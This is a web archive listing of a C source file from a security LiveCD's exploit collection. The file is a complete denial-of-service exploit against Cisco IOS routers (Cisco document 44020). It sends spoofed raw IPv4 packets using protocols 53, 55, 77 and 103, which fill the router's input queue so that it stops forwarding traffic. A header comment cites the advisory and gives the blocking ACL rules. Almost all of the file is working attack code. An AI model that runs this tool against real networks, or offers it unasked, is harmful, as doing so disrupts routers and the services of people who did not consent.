home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / cisco-bug-44020.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  208 lines
  1. /*                                    */
  2. /* cisco-bug-44020.c - Copyright by Martin Kluge (martin@elxsi.de)    */
  3. /*                                     */
  4. /* Feel free to modify this code as you like, as long as you include    */
  5. /* the above copyright statement.                    */
  6. /*                                    */
  7. /* Please use this code only to check your OWN cisco routers.        */
  8. /*                                    */
  9. /*                                    */
  10. /* This exploit uses the bug in recent IOS versions to stop the router    */
  11. /* from processing traffic once the input queue is full.        */
  12. /*                                    */
  13. /* Cisco assigned the document ID 44020, the cisco advisory can be    */
  14. /* found here:                                */
  15. /*                                    */
  16. /* http://www.cisco.com/warp/public/707/cisco-sa-20030717-blocked.shtml    */
  17. /*                                    */
  18. /* Use access control lists as described in the CISCO advisory to    */
  19. /* protect your cisco routers:                        */
  20. /*                                    */
  21. /* access-list 101 deny 53 any any                    */
  22. /* access-list 101 deny 55 any any                    */
  23. /* access-list 101 deny 77 any any                    */
  24. /* access-list 101 deny 103 any any                    */
  25. /*                                    */
  26. /* This code was only tested on linux, no warranty is or will be    */
  27. /* provided.                                */
  28.  
  29.  
  30. #include <stdio.h>
  31. #include <stdlib.h>
  32. #include <string.h>
  33. #include <unistd.h>
  34.  
  35. #include <arpa/inet.h>
  36. #include <netinet/in.h>
  37.  
  38. #include <sys/time.h>
  39. #include <sys/types.h>
  40. #include <sys/socket.h>
  41.  
  42. #define DEBUG
  43.  
  44. #ifndef IPPROTO_RAW
  45. #define IPPROTO_RAW 0
  46. #endif
  47.  
  48. /* IPv4 header */
  49. struct ipv4_pkt_header {
  50.   unsigned int ipvhl:8;         /* Version + Header length      */
  51.   unsigned int type_service:8;  /* TOS(Type of Service) field   */
  52.   unsigned short packet_len;    /* Header+Payload length        */
  53.   unsigned short ident;         /* Identification field         */
  54.   unsigned short fragment;      /* Fragment Offset field        */
  55.   unsigned int time_live:8;     /* TTL(Time to Live) field      */
  56.   unsigned int protocol:8;      /* Protocol field               */
  57.   unsigned short sum;           /* Checksum field               */
  58.   struct in_addr src_ip;        /* Source IP                    */
  59.   struct in_addr dst_ip;        /* Destination IP               */
  60. };
  61.  
  62.  
  63. char proto[] = {53,55,77,103};
  64.  
  65.  
  66. /* Prototypes */
  67. int in_cksum (unsigned short *, int, int);
  68.  
  69.  
  70. /* Main function */
  71. int main (int argc, char *argv[]) {
  72.     struct ipv4_pkt_header ipv4_hdr;
  73.     struct sockaddr_in sin;
  74.     struct timeval seed;
  75.     
  76.     unsigned long src_ip, dst_ip;
  77.     int fd, hops, count, bytes;
  78.     int len=0, i=0, n=0, loop=0;
  79.  
  80.     unsigned char *buf;
  81.  
  82.     /* Check command line args */    
  83.     if(argc != 5) {
  84.         fprintf(stderr, "Usage: %s <src ip> <dst ip> <hops> <number>\n\n", argv[0]);
  85.         return(EXIT_FAILURE);
  86.     }
  87.  
  88.     src_ip    = inet_addr(argv[1]);
  89.     dst_ip    = inet_addr(argv[2]);
  90.     hops    = atoi(argv[3]);
  91.     count    = atoi(argv[4]);
  92.  
  93.     if(count == 0) { loop=1; count=1; }
  94.  
  95.     #ifdef DEBUG
  96.     printf("DEBUG: Hops: %i\n", hops);
  97.     #endif
  98.  
  99.     /* Open a raw socket */
  100.     if((fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) {
  101.         fprintf(stderr, "Error: Cannot open raw socket.\n");
  102.         return(EXIT_FAILURE);
  103.     }
  104.  
  105.     /* Build the IPv4 header */
  106.     ipv4_hdr.ipvhl = ((4 << 4) | 0x0f) & (5 | 0xf0);    /* :) */
  107.     ipv4_hdr.type_service = 0x10;
  108.  
  109.     #ifdef OSTYPE_BSD
  110.     ipv4_hdr.packet_len = 0x14 + len;
  111.     ipv4_hdr.fragment = 0x4000;
  112.     #else
  113.     ipv4_hdr.packet_len = htons(0x14 + len);
  114.     ipv4_hdr.fragment = htons(0x4000);
  115.     #endif
  116.  
  117.     ipv4_hdr.time_live = hops;
  118.     ipv4_hdr.src_ip.s_addr = src_ip;
  119.     ipv4_hdr.dst_ip.s_addr = dst_ip;
  120.  
  121.     while(n < count) {
  122.         /* Seed the random generator */
  123.         if(gettimeofday(&seed, NULL) == -1) {
  124.             fprintf(stderr, "Error: Cannot seed the random generator.\n");
  125.             return(EXIT_FAILURE);
  126.         }
  127.     
  128.         srandom((unsigned int) (seed.tv_sec ^ seed.tv_usec));
  129.  
  130.         ipv4_hdr.protocol = proto[random() % 0x4];
  131.  
  132.         #ifdef DEBUG
  133.         printf("DEBUG: Protocol: %i\n", ipv4_hdr.protocol);
  134.         #endif
  135.         
  136.         ipv4_hdr.ident = htons(random() % 0x7fff);
  137.     
  138.         /* Calculate checksum */
  139.         ipv4_hdr.sum = 0x0000;
  140.         ipv4_hdr.sum = in_cksum((unsigned short *) &ipv4_hdr, 0x14 + len, 0);
  141.  
  142.         #ifdef DEBUG
  143.         printf("DEBUG: Checksum: %i\n", ipv4_hdr.sum);
  144.         #endif
  145.  
  146.         buf = malloc(0x14 + len);
  147.         memset(buf, '\0', 0x14 + len);
  148.  
  149.         memcpy((unsigned char *) buf, (unsigned char *) &ipv4_hdr,
  150.             0x14 + len);
  151.  
  152.         #ifdef DEBUG
  153.         printf("DEBUG: ");
  154.         for(i=0; i < 0x14 + len; i++)
  155.             printf(" %02x", buf[i]);
  156.         printf("\n");
  157.         #endif
  158.  
  159.  
  160.         memset(&sin, '\0', sizeof(struct sockaddr_in));
  161.         sin.sin_family = AF_INET;
  162.         sin.sin_addr.s_addr = dst_ip;
  163.  
  164.         bytes = sendto(fd, buf, 0x14 + len, 0, (struct sockaddr *) &sin,
  165.                    sizeof(struct sockaddr));
  166.  
  167.         #ifdef DEBUG
  168.         printf("DEBUG: Wrote %i bytes.\n", bytes);
  169.         #endif
  170.  
  171.         if(loop != 1) n++;
  172.         
  173.         free(buf);
  174.     }
  175.  
  176.     close(fd);
  177.     return(EXIT_SUCCESS);
  178. }
  179.  
  180.  
  181. int in_cksum(unsigned short *addr, int len, int csum) {
  182.         register int sum = csum;
  183.         unsigned short answer = 0;
  184.         register unsigned short *w = addr;
  185.         register int nleft = len;
  186.  
  187.         /*
  188.          * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  189.          * sequential 16 bit words to it, and at the end, fold back all the
  190.          * carry bits from the top 16 bits into the lower 16 bits.
  191.          */
  192.         while (nleft > 1)  {
  193.                 sum += *w++;
  194.                 nleft -= 2;
  195.         }
  196.  
  197.         /* mop up an odd byte, if necessary */
  198.         if (nleft == 1) {
  199.                 sum += htons(*(unsigned char *)w<<8);
  200.         }
  201.         /* add back carry outs from top 16 bits to low 16 bits */
  202.         sum = (sum >> 16) + (sum & 0xffff);     /* add hi 16 to low 16 */
  203.         sum += (sum >> 16);                     /* add carry */
  204.         answer = ~sum;                          /* truncate to 16 bits */
  205.         return(answer);
  206. }
  207.  
  208.